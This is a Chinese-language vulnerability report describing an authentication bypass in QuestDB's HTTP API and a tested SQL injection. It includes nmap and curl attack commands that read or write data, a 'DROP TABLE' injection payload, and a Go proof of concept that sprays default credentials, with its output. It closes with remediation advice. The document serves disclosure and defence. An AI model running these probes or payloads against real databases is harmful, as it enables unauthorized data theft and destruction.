QuestDB 认证绕过与潜在SQL注入风险综合技术研究报告

作者: 钟智强
邮箱: johnmelodymel@qq.com
微信: ctkqiang

1. QuestDB 简介

1.1 概述

QuestDB 是一个开源的高性能时序数据库，专为快速数据摄入和基于 SQL 的分析而设计。它采用 Java 编写，利用列式存储模型和 SIMD 指令实现低延迟查询。QuestDB 广泛应用于金融服务、物联网、监控和实时分析等领域，这些场景中时间戳数据至关重要。

1.2 架构与接口

QuestDB 暴露多个网络接口以支持不同的数据摄入和查询模式：

接口	端口	协议	用途
HTTP REST API	9000	HTTP	通过 `/exec` 执行 SQL 查询，数据导入/导出，健康检查
PostgreSQL 线协议	8812	TCP (PostgreSQL)	使用标准 PostgreSQL 客户端进行完整 SQL 访问
InfluxDB 行协议	9009	TCP (Line)	高吞吐量时序数据摄入
Web 控制台	9000	HTTP	基于浏览器的交互式查询界面

默认情况下，所有接口监听在 `0.0.0.0`（所有网络接口）上，并且**未启用任何认证**。这种设计优先考虑开发便利性和性能，将安全责任完全交给部署者。

1.3 认证机制

QuestDB 通过配置标志支持可选的认证功能：

- `http.security=true` – 为 HTTP REST API 启用 Basic 认证。
- `pg.security=true` – 为 PostgreSQL 线协议启用认证。
- `line.tcp.auth.enabled=true` – 为 InfluxDB 行协议启用认证。

启用后，服务器会根据用户表（通过 SQL 或配置管理）验证凭证。若未设置这些标志，所有接口对任何能访问到的人完全开放。

2. 漏洞描述

2.1 配置与预期行为

系统管理员为了加固 QuestDB 实例，在 `server.conf` 中设置了以下内容：

```
http.security=true
pg.security=true
line.tcp.auth.enabled=true
config.validation.strict=true
```

预期行为：

- 任何未携带有效凭证的 HTTP 请求访问 `/exec` 都应返回 `401 Unauthorized`。
- 只有携带正确 Basic 认证（例如 `admin:quest`）的请求才能成功执行。

实际观察结果（来自测试）： 尽管配置文件中存在上述指令，HTTP 端点依然接受**所有请求**，完全未进行任何凭证验证。无凭证、错误凭证、畸形头或空凭证的请求全部返回 `200 OK` 并包含有效的查询结果。

2.2 根本原因分析

配置指令确实存在于文件中，但并未生效。可能的原因包括：

- 配置文件未被正确读取（路径错误、权限问题）。
- 语法错误（例如等号两侧有空格）导致解析器忽略这些行。
- 特定 QuestDB 版本的软件缺陷导致安全标志无法生效。
- `config.validation.strict=true` 设置并未在配置错误时阻止启动，使得服务器以默认（不安全）设置运行。

3. SQL注入尝试与发现

在测试过程中，我们尝试通过构造恶意的表名来探测是否存在SQL注入漏洞。典型的注入payload如下：

```
CREATE TABLE "test"; DROP TABLE users; --" (ts timestamp, val double);
```

预期（若存在注入）：`test` 表被创建后，紧接着执行 `DROP TABLE users`，导致 `users` 表被删除。

实际结果：由于该payload通过curl发送时需要正确URL编码，直接使用会引发curl错误（如 `curl: (3) URL rejected`）。在正确编码后发送，QuestDB服务器将其解析为一个**完整的标识符**（即表名被识别为 `"test"; DROP TABLE users; --"`），并不会将其中的分号解释为语句结束符。因此，该语句仅仅创建一个名字古怪的表，而不会删除 `users` 表。

结论：QuestDB自身的SQL解析器对标识符的处理是安全的，不会将引号内的内容当作多条语句执行。但此测试揭示了**应用程序层面**的风险：如果上层应用在拼接SQL时未对用户输入进行充分过滤，攻击者可能通过表名、列名等注入恶意SQL。虽然QuestDB本身不易受此影响，但使用QuestDB的应用仍需警惕SQL注入。

4. 攻击场景（从攻击者视角）

4.1 侦察

攻击者扫描目标网络的开放端口：

```
nmap -p 9000,8812,9009 <目标的_IP>
```

预期输出：

```
端口      状态   服务
9000/tcp 开放   cslistener
8812/tcp 开放   未知
9009/tcp 开放   pichat
```

端口 9000（HTTP）的出现强烈暗示存在 QuestDB 实例。

4.2 初始探测

攻击者测试是否强制认证：

```
curl -v http://<目标的_IP>:9000/exec?query=SELECT+1
```

如果响应包含有效的 JSON 结果（如我们的测试所示），攻击者立即知道数据库完全开放。

4.3 利用

获得未认证访问权限后，攻击者可以：

- **窃取所有数据**：查询所有表。
- **修改或删除数据**：使用 `UPDATE`、`DELETE` 或 `DROP TABLE`。
- **尝试访问文件系统**：通过 `COPY TO`（若未限制）。
- **执行拒绝服务攻击**：发起消耗资源的复杂查询。
- **以数据库服务器为跳板**，横向移动至内部网络。

示例：获取表列表：

```
curl "http://<目标的_IP>:9000/exec?query=SHOW+TABLES"
```

示例：读取敏感数据：

```
curl "http://<目标的_IP>:9000/exec?query=SELECT+*+FROM+users"
```

示例：写入文件（若权限允许）：

```
curl -G --data-urlencode "query=COPY (SELECT 'malicious') TO
'/tmp/evil.csv'" http://<目标的_IP>:9000/exec
```

5. 漏洞验证程序（PoC）

以下 Go 程序通过向 HTTP 端点发送多种类型的请求，系统地测试认证绕过漏洞。它确认所有请求均返回 `200 OK` 并包含有效数据。

5.1 PoC 代码

```
package main

import (
    "encoding/json"
    "fmt"
    "io"
    "net/http"
    "time"
)

var (
    colorRed   = "\033[31m"
    colorReset = "\033[0m"

    baseURL = "http://<目标的_IP>:9000/exec?query=SELECT+1"

    users     = []string{"admin", "quest", "root", "user", "test"}
    passwords = []string{"quest", "password", "admin", "123456",
"questdb", ""}

    tests = []TestCase{
        {
            Name:       "无认证头",
            SetAuth:    func(req *http.Request) {},
            ExpectAuth: true,
        },
        {
            Name: "Basic 错误密码 (admin:wrong)",
            SetAuth: func(req *http.Request) {
                req.SetBasicAuth("admin", "wrong")
            },
            ExpectAuth: true,
        },
        {
            Name: "Basic 空用户名密码 (:)",
            SetAuth: func(req *http.Request) {
                req.SetBasicAuth("", "")
            },
            ExpectAuth: true,
        },
        {
            Name: "Basic admin:quest",
            SetAuth: func(req *http.Request) {
                req.SetBasicAuth("admin", "quest")
            },
```

```
            ExpectAuth: false, // 即使密码正确，在启用认证后也只会返回200，这里用于对比
        },
        {
            Name: "Basic quest:password",
            SetAuth: func(req *http.Request) {
                req.SetBasicAuth("quest", "password")
            },
            ExpectAuth: false,
        },
        {
            Name: "Basic root:123456",
            SetAuth: func(req *http.Request) {
                req.SetBasicAuth("root", "123456")
            },
            ExpectAuth: false,
        },
        {
            Name: "畸形 Basic 头 (Basic abc1234567890)",
            SetAuth: func(req *http.Request) {
                req.Header.Set("Authorization", "Basic abc1234567890")
            },
            ExpectAuth: true,
        },
        {
            Name: "空 Authorization 头",
            SetAuth: func(req *http.Request) {
                req.Header.Set("Authorization", "")
            },
            ExpectAuth: true,
        },
    }
)

type TestCase struct {
    Name       string
    SetAuth    func(req *http.Request)
    ExpectAuth bool // 如果认证成功则期望返回 401
}

func main() {
    fmt.Println("*** QuestDB 认证绕过测试 POC ***")
    fmt.Printf("目标: %s\n", baseURL)
    fmt.Println("测试时间:", time.Now().Format("2006-01-02 15:04:05"))
    fmt.Println()

    for _, tc := range tests {
        fmt.Printf("测试: %s\n", tc.Name)

        req, err := http.NewRequest("GET", baseURL, nil)
        if err != nil {
            fmt.Printf("  请求创建失败: %v\n", err)
            continue
        }
```

```
        tc.SetAuth(req)

        client := &http.Client{Timeout: 5 * time.Second}

        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf(" 请求执行失败: %v\n", err)
            continue
        }
        defer resp.Body.Close()

        body, _ := io.ReadAll(resp.Body)
        status := resp.StatusCode

        isValid := false

        if status == http.StatusOK {
            var result map[string]interface{}
            if json.Unmarshal(body, &result) == nil {
                if _, ok := result["dataset"]; ok {
                    isValid = true
                }
            }
        }

        fmt.Printf("  HTTP 状态码: %d\n", status)
        if isValid {
            fmt.Printf("%s  响应包含有效数据集 (认证绕过成功)%s\n", colorRed,
colorReset)
            snippet := string(body)
            if len(snippet) > 100 {
                snippet = snippet[:100] + "..."
            }
            fmt.Printf("  响应预览: %s\n", snippet)
        } else {
            fmt.Println("  响应无效或未返回数据 (认证正常工作或请求失败)")
        }

        if tc.ExpectAuth && status == http.StatusOK && isValid {
            fmt.Printf("%s[!] 漏洞确认: 身份验证绕过。预期应返回 401
Unauthorized，但实际返回 200 OK 且包含有效数据负载。%s\n", colorRed, colorReset)
        }

        if !tc.ExpectAuth && status == http.StatusOK && isValid {
            fmt.Println("预期之内: 该凭据可能有效，但所有请求都成功表明认证未强制")
        }

        if tc.ExpectAuth && status == http.StatusUnauthorized {
            fmt.Println("认证正常工作")
        }
        fmt.Println()
    }
```

```
    fmt.Println("*** 批量测试常用凭据 ***")
    for _, user := range users {
        for _, pass := range passwords {
            req, _ := http.NewRequest("GET", baseURL, nil)
            req.SetBasicAuth(user, pass)
            client := &http.Client{Timeout: 3 * time.Second}
            resp, err := client.Do(req)
            if err != nil {
                continue
            }
            defer resp.Body.Close()
            status := resp.StatusCode
            if status == http.StatusOK {
                body, _ := io.ReadAll(resp.Body)
                var result map[string]interface{}
                if json.Unmarshal(body, &result) == nil {
                    if _, ok := result["dataset"]; ok {
                        fmt.Printf("%s  凭据 %s:%s -> 200 OK (有效数据)%s\n",
colorRed, user, pass, colorReset)
                    }
                }
            }
        }
    }
}
```

5.2 执行与输出

在存在漏洞的 QuestDB 实例上运行该 PoC 会得到类似以下输出：

```
go run main.go
*** QuestDB 认证绕过测试 POC ***
目标: http://<目标的_IP>:9000/exec?query=SELECT+1
测试时间: 2026-02-14 00:04:13

测试: 无认证头
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized，但实际返回 200 OK 且包含有
效数据负载。

测试: Basic 错误密码 (admin:wrong)
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized，但实际返回 200 OK 且包含有
效数据负载。
```

```
测试: Basic 空用户名密码 (:)
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized，但实际返回 200 OK 且包含有
效数据负载。

测试: Basic admin:quest
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
预期之内: 该凭据可能有效，但所有请求都成功表明认证未强制

测试: Basic quest:password
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
预期之内: 该凭据可能有效，但所有请求都成功表明认证未强制

测试: Basic root:123456
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
预期之内: 该凭据可能有效，但所有请求都成功表明认证未强制

测试: 畸形 Basic 头 (Basic abc1234567890)
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized，但实际返回 200 OK 且包含有
效数据负载。

测试: 空 Authorization 头
  HTTP 状态码: 200
  响应包含有效数据集 (认证绕过成功)
  响应预览: {"query":"SELECT 1","columns":
[{"name":"1","type":"INT"}],"timestamp":-1,"dataset":[[1]],"count":1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized，但实际返回 200 OK 且包含有
效数据负载。

*** 批量测试常用凭据 ***
  凭据 admin:quest -> 200 OK (有效数据)
  凭据 admin:password -> 200 OK (有效数据)
  凭据 admin:admin -> 200 OK (有效数据)
  凭据 admin:123456 -> 200 OK (有效数据)
  凭据 admin:questdb -> 200 OK (有效数据)
  凭据 admin: -> 200 OK (有效数据)
  凭据 quest:quest -> 200 OK (有效数据)
```

```
凭据 quest:password -> 200 OK (有效数据)
凭据 quest:admin -> 200 OK (有效数据)
凭据 quest:123456 -> 200 OK (有效数据)
凭据 quest:questdb -> 200 OK (有效数据)
凭据 quest: -> 200 OK (有效数据)
凭据 root:quest -> 200 OK (有效数据)
凭据 root:password -> 200 OK (有效数据)
凭据 root:admin -> 200 OK (有效数据)
凭据 root:123456 -> 200 OK (有效数据)
凭据 root:questdb -> 200 OK (有效数据)
凭据 root: -> 200 OK (有效数据)
凭据 user:quest -> 200 OK (有效数据)
凭据 user:password -> 200 OK (有效数据)
凭据 user:admin -> 200 OK (有效数据)
凭据 user:123456 -> 200 OK (有效数据)
凭据 user:questdb -> 200 OK (有效数据)
凭据 user: -> 200 OK (有效数据)
凭据 test:quest -> 200 OK (有效数据)
凭据 test:password -> 200 OK (有效数据)
凭据 test:admin -> 200 OK (有效数据)
凭据 test:123456 -> 200 OK (有效数据)
凭据 test:questdb -> 200 OK (有效数据)
凭据 test: -> 200 OK (有效数据)
```

结果解读：无论携带何种凭证，每一个请求都返回成功的查询结果。这确认了认证强制机制的完全失效。

6. 影响与风险分析

6.1 数据机密性

- **完全数据暴露**：任何能访问 QuestDB 端口的攻击者均可读取所有存储的时序数据，其中可能包含敏感的业务指标、用户活动、金融交易或物联网传感器读数。
- **元数据泄露**：表名、模式及系统信息同样暴露无遗。

6.2 数据完整性

- **数据篡改**：攻击者可插入、更新或删除记录，破坏历史数据并影响下游分析。
- **破坏性操作**：`DROP TABLE`、`TRUNCATE` 或 `ALTER` 语句可永久销毁数据。

6.3 系统沦陷

- **文件系统访问**：虽然 `COPY TO` 默认限制在 `import` 目录，但错误配置或未来功能可能允许写入任意路径，进而导致远程代码执行（例如，若服务器同时运行 Web 应用，可写入 Web shell）。
- **拒绝服务**：消耗资源的查询可耗尽服务器资源，使合法用户无法使用数据库。

6.4 SQL注入的潜在风险

尽管测试表明QuestDB自身对标识符的处理是安全的，但若上层应用未正确过滤用户输入，攻击者仍可能通过表名、列名或任意输入点注入恶意SQL。例如，一个允许用户自定义表名的Web接口如果直接拼接用户输入，就可能导致`DROP TABLE`等破坏性操作。因此，使用QuestDB的应用开发者必须遵循安全编码规范，使用参数化查询或严格过滤输入。

6.5 横向移动

- 被攻陷的 QuestDB 实例可被用作跳板，攻击内部网络中的其他系统，尤其是当该服务器能访问其他内部网络或服务时。

6.6 合规与法律风险

- 由于未经授权的数据访问导致违反数据保护法规（如 GDPR、HIPAA 等），可能招致巨额罚款和声誉损失。

7. 修复建议

7.1 立即缓解措施

- **网络层限制**：使用防火墙限制对 QuestDB 端口（9000、8812、9009）的访问，仅允许可信 IP 地址。
- **绑定到本地地址**：若无需远程访问，可配置 QuestDB 仅监听 `127.0.0.1`，例如设置 `http.bind.to=127.0.0.1:9000`，并对其他协议做类似配置。

7.2 验证配置

- 确认使用了正确的配置文件（检查启动日志）。
- 通过尝试未认证的请求，验证认证是否真正生效。
- 考虑在 QuestDB 前端使用反向代理（如 Nginx）并添加额外的认证层。

7.3 升级与补丁

- 检查是否有更新版本的 QuestDB 修复了此问题。若没有，请向厂商报告漏洞。
- 关注 QuestDB 的安全公告。

7.4 纵深防御

- 实施额外监控，检测未经授权的查询。
- 使用 TLS 加密传输中的数据。
- 定期审计数据库访问日志。
- **应用层防御**：对所有用户输入进行严格验证和过滤，使用参数化查询或预编译语句，避免SQL注入风险。

8. 结论

本报告所述的 QuestDB 认证绕过漏洞使得任何能够网络访问数据库端口的远程攻击者都能完全控制该数据库实例，无论安全配置如何。`http.security=true` 指令未能强制实施认证，这暴露出配置处理或软件本身的严重缺陷。此外，尽管对SQL注入的测试未发现QuestDB引擎本身的漏洞，但揭示了应用程序层面可能存在的风险。使用 QuestDB 的组织必须立即应用网络层面的控制措施，并验证其认证配置，同时加强应用安全开发实践，以防止数据泄露和更严重的系统沦陷。此发现强调了纵深防御的重要性，以及对即使是知名的开源组件进行严格安全测试的必要性。

本报告基于在受控环境中进行的测试。未经授权对生产系统进行测试是非法且不道德的行为。